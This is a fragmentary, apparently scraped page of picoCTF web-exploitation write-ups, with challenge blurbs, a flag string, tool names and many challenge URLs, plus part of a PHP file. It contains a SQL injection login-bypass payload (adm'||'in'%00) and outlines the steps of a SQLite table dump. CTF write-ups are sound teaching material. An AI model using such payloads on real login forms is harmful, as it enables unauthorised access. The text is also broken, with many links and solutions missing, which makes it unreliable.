} else {
    $_SESSION["winner3"] = 0;
}

// picoCTF{k3ep_1t_sh0rt_eb90a623e2c581bcd3127d9d60a4dead}
?>

Bithug

Someone, pls solve it!

Challenge

Solution

Todo!

Find the flag being held on this server to get ahead of the competition

Who doesn't love cookies? Try to figure out the best one.

There is some interesting information hidden around this site . Can you find it?

Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn

The JavaScript code G82XCw5CX3.js is obfuscated. Deobfuscate it with :

I forgot Cookies can Be modified Client-side, so now I decided to encrypt them!

I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website.

has an amazing writeup on all kinds of collisions . For this challenge, simply use and :

flag

This level won't be as easy as Some Assembly Require 1. To learn more about WebAssembly Text Format, read .

Same story, deobfuscate the Javascript code with :

To decompile the WebAssembly binary, use :

Encrypted
check_flag

Try to recover the flag stored on this website

Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py

The author of this article even built an automation tool named . We will be using this tool in this challenge.

This website looks familiar... Log in as admin Site: Filter:

This challenge builds upon . Grab the payload and read the explanation.

An even simpler payload is adm'||'in'%00, where we use || to concatenate strings and %00 (null byte) instead ; to terminate the SQL statement. Check out .

Do you want to fund my startup?

Login page
Donation page
Burp
Database error
SQLite version leak
Table name leak
Column name leak
Dump table

Another login you have to bypass. Maybe you can find an injection that works?

Last time, I promise! Only 25 characters this time. Log in as admin Site: Filter:

Code management software is way too bloated. Try our new lightweight solution, BitHug. Source:

✅
http://mercury.picoctf.net:21939/
http://mercury.picoctf.net:17781/
http://mercury.picoctf.net:44070/
http://mercury.picoctf.net:1270/
http://mercury.picoctf.net:55336/index.html
JS Nice
http://mercury.picoctf.net:10868/
http://mercury.picoctf.net:11590/
Corkami
on Github
poeMD5_A.pdf
poeMD5_B.pdf
http://mercury.picoctf.net:61778/index.html
Understanding WebAssembly text format
JS Nice
wabt
http://mercury.picoctf.net:5428/
http://mercury.picoctf.net:65344/
Flask Unsign
http://mercury.picoctf.net:38541/index.html
http://mercury.picoctf.net:61434/
http://mercury.picoctf.net:61434/filter.php
picoCTF 2020 Mini-Competition Web Gauntlet
picoCTF 2020 Mini-Competition Web Gauntlet Round 5
http://mercury.picoctf.net:44720/
http://mercury.picoctf.net:6755/index.html
http://mercury.picoctf.net:53735/
http://mercury.picoctf.net:63504/
http://mercury.picoctf.net:63504/filter.php
distribution.tgz
http://mercury.picoctf.net:52731/
https://blog.paradoxis.nl/defeating-flasks-session-management-65706ba9d3ceblog.paradoxis.nl
Baking Flask cookies with your secrets
history
HEAD
/check
flag
PicoBrowser
User-Agent
Referer
Date
DNT
X-Forwarded-For
Accept-Language
Source Code
_0x402c
flag
Upload
_0x6d8f
robots.txt
unserialize()
Secret Key
Session Cookie
Flask Unsign